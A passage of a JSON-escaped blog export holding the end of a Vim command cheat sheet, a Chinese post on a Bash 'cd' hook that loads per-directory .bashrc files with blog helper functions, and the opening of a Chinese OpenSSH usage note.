title=\"Searching\"\u003e\u003c/a\u003eSearching\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e/{pattern}[/]\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e/{pattern}/{offset}\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern} and go {offset} lines up or down.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e/\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e//{offset}\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern with new. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}[?]\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}?{offset}\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern} and go {offset} lines up or down\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e??{offset}\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern with new {offset}. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003en\u003c/td\u003e\u003ctd\u003eRepeat the latest “/“ or “?” [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eN\u003c/td\u003e\u003ctd\u003eRepeat the latest “/“ or “?” [count] times in opposite direction.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Selecting-Text-Visual-Mode\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Selecting-Text-Visual-Mode\" class=\"headerlink\" title=\"Selecting Text (Visual Mode)\"\u003e\u003c/a\u003eSelecting Text (Visual Mode)\u003c/h2\u003e\u003cp\u003eTo select text, enter visual mode with one of the commands below, and use \u003ca href=\"http://fprintf.net/vimCheatSheet.html#motion\"\u003emotion commands\u003c/a\u003e to highlight the text you are interested in. Then, use some command on the text.\u003c/p\u003e\u003cp\u003eThe operators that can be used are:\u003cbr/\u003e ~ switch case\u003cbr/\u003e d delete\u003cbr/\u003e c change\u003cbr/\u003e y yank\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e shift right\u003cbr/\u003e \u0026lt; shift left\u003cbr/\u003e ! filter through external command\u003cbr/\u003e = filter through ‘equalprg’ option command\u003cbr/\u003e gq format lines to ‘textwidth’ length \u003c/p\u003e\u003c/blockquote\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ev\u003c/td\u003e\u003ctd\u003estart Visual mode per character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eV\u003c/td\u003e\u003ctd\u003estart Visual mode linewise.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cesc\u003e\u003c/esc\u003e\u003c/td\u003e\u003ctd\u003eexit Visual mode without making any changes\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"How-to-Suspend\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#How-to-Suspend\" class=\"headerlink\" title=\"How to Suspend\"\u003e\u003c/a\u003eHow to Suspend\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCTRL-Z\u003c/td\u003e\u003ctd\u003eSuspend Vim, like “:stop”. Works in Normal and in Visual mode. In Insert and Command-line mode, the CTRL-Z is inserted as a normal character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:sus[pend][!] or \u003cbr/\u003e:st[op][!]\u003c/td\u003e\u003ctd\u003eSuspend Vim. If the ‘!’ is not given and ‘autowrite’ is set, every buffer with changes and a file name is written out. If the ‘!’ is given or ‘autowrite’ is not set, changed buffers are not written, don’t forget to bring Vim back to the foreground later!\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003cp\u003e\u003ca href=\"http://www.catb.org/hacker-emblem/\"\u003e\u003cimg src=\"http://www.catb.org/hacker-emblem/glider.png\"/\u003e\u003c/a\u003e\u003c/p\u003e\u003cp\u003eDaniel Gryniewicz / \u003ca href=\"mailto:dang@fprintf.net\"\u003edang@fprintf.net\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"基于Bash的目录级环境配置工具","time":"2023-09-26T15:46:55Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e最近对于Bash愈发迷恋,几乎任何会花费我超过30秒时间的任务,我都会考虑\u003cdel\u003e打个脚先\u003c/del\u003e写个脚本搞定。再比如说写博客,这种纯输出流就很适合Vim啊,作为一个Vim\u003cdel\u003e批\u003c/del\u003e必然是原教旨主义最好啊:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230926235753.png\" alt=\"算了截图还是用Obsidian粘吧\"/\u003e\u003c/p\u003e\u003cp\u003e但是除了截图粘贴不方便外,还有一些比较难受的地方。在Obsidian里边我是能直接用插件的各种功能快速编写博客的,虽然在Bash终端环境下编写脚本确实更方便了,但是脚本一多,目录就乱的不能看力:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 强迫症是病,得治\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── deploy.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── how-much-did-i-write.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── img-uri-process.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── new-post.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9 directories, 4 files\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e三个脚本,一个是统计字数的,一个是用\u003ccode\u003esed\u003c/code\u003e处理图片链接的,还有一个是从模板新建博客的。每次打开目录看到这仨在中间总觉得很别扭。\u003c/p\u003e\u003cp\u003e除了这,还有就是用起来也不方便:前面要是不加\u003ccode\u003e./\u003c/code\u003e就能直接用就好了\u003cdel\u003e懒也是病得治\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以,需求大概就是这样:目录级别的环境变量配置,并且支持还得够完善,不能离开目录了配置还在生效,不然脚本在其他目录跑飞了想想就恐怖。\u003c/p\u003e\u003ch2 id=\"Basic-Implementation\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/26/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/#Basic-Implementation\" class=\"headerlink\" title=\"Basic Implementation\"\u003e\u003c/a\u003eBasic Implementation\u003c/h2\u003e\u003cp\u003e首先定位清楚,这个对\u003ccode\u003ecd\u003c/code\u003e的Hook只是在指令完成后,加载或者取消配置局部环境变量。因此大概实现方式和结构都有合适的选择。\u003c/p\u003e\u003cul\u003e\u003cli\u003e程序扔\u003ccode\u003e~/.bashrc\u003c/code\u003e里,或者\u003ccode\u003e/etc/profile\u003c/code\u003e里。不过我一般在GUI用konsole比较多,所以就放\u003ccode\u003e.bashrc\u003c/code\u003e里了,也方便dotfile管理。\u003c/li\u003e\u003cli\u003e把具体实现用\u003ccode\u003ealias\u003c/code\u003e赋别名为\u003ccode\u003ecd\u003c/code\u003e达到重载(或者说Hook)\u003ccode\u003ecd\u003c/code\u003e的目的。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e基于上面这两条,这是我写一个粗略实现(没干掉bash基本使用就是能用\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003ecd_hook\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# The normal cd\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"variable\"\u003e$#\u003c/span\u003e == 0 ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# If the dir contains bashrc, launch the sub shell and load it\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ -f \u003cspan class=\"string\"\u003e\u0026#34;.bashrc\u0026#34;\u003c/span\u003e ] \u0026amp;\u0026amp; [ \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"subst\"\u003e$(pwd)\u003c/span\u003e\u0026#34;\u003c/span\u003e != \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"subst\"\u003e$(getent passwd $USER | awk -F \u0026#39;:\u0026#39; \u0026#39;{print $6}\u0026#39;)\u003c/span\u003e\u0026#34;\u003c/span\u003e ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epushd\u003c/span\u003e . \u0026gt; /dev/null\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bash --init-file \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e /etc/profile ~/.bashrc .bashrc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ealias\u003c/span\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#39;cd_hook\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面有依托用来检测是否是家目录的指令来避免套娃(虽然理论上充重复加载家目录配置应该没啥),然后是检测当前目录下(因为是先\u003ccode\u003ecd\u003c/code\u003e过去的嘛,所以\u003ccode\u003epwd\u003c/code\u003e已经变了)是否有\u003ccode\u003e.bashrc\u003c/code\u003e,有的话就把它作为子参数,和家目录下的bashrc一起传给子bash,然后启动它。\u003c/p\u003e\u003cp\u003e这样就能实现cd后自动加载目录下的配置了。赶紧试试:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# My blog\u0026#39;s utiilties and aliases\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eTMPL=$(find ./_scaffolds | grep .md)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003edeploy\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf deploy \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; git checkout deploy\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy/source\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; pnpm i \u0026amp;\u0026amp; pnpm run server\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eimage_url_proc\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e find . -\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e f -name \u003cspan class=\"string\"\u003e\u0026#34;*.md\u0026#34;\u003c/span\u003e -\u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e sed -i \u003cspan class=\"string\"\u003e\u0026#39;s/\\!\\[\\[\\(.*\\)\\/\\(.*\\)\\]\\]/\\!\\[\\2\\]\\(\\/img\\/\\2\\)/gi\u0026#39;\u003c/span\u003e {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003enew_post\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sed -e \u003cspan class=\"string\"\u003e\u0026#34;s/{{title}}/\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e/\u0026#34;\u003c/span\u003e -e \u003cspan class=\"string\"\u003e\u0026#34;s/{{date}} {{time}}/\u003cspan class=\"subst\"\u003e$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)\u003c/span\u003e/\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$TMPL\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eline_count\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;You have wrote \u003cspan class=\"subst\"\u003e$(find _* -name *.md | xargs cat 2\u0026gt;/dev/null | wc -l)\u003c/span\u003e lines in total!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ecd到目录里边试试\u003ccode\u003eline_count\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ line_count\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eYou have wrote 36570 lines \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e total!\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好好好,再看看目录结构:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── .bashrc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 9 directories, 1 files\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e爽死。\u003c/p\u003e\u003cp\u003e慢着,里边还有一行\u003ccode\u003epushd\u003c/code\u003e呢。嗯,这是后面用来实现自动退出子Shell的关键。具体实现等到下一部分再说吧,先睡了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003exeonds - Completed at Wed 27 Sep 2023 12:48:45 AM CST\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/26/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/"},{"title":"SSH学习笔记","time":"2023-09-25T06:16:18Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eOpenSSH 是一种强大的远程登录和数据传输工具,它提供了许多安全功能,如数据加密、身份验证和会话完整性。在本文中,我们将详细介绍 OpenSSH 的基本用法和高级用法。\u003c/p\u003e\u003ch2 id=\"基本用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h2\u003e\u003ch3 id=\"1-远程登录\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#1-%E8%BF%9C%E7%A8%8B%E7%99%BB%E5%BD%95\" class=\"headerlink\" title=\"1. 远程登录\"\u003e\u003c/a\u003e1. 远程登录\u003c/h3\u003e\u003cp\u003eOpenSSH 最基本的用法是远程登录。要使用 OpenSSH 进行远程登录,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd 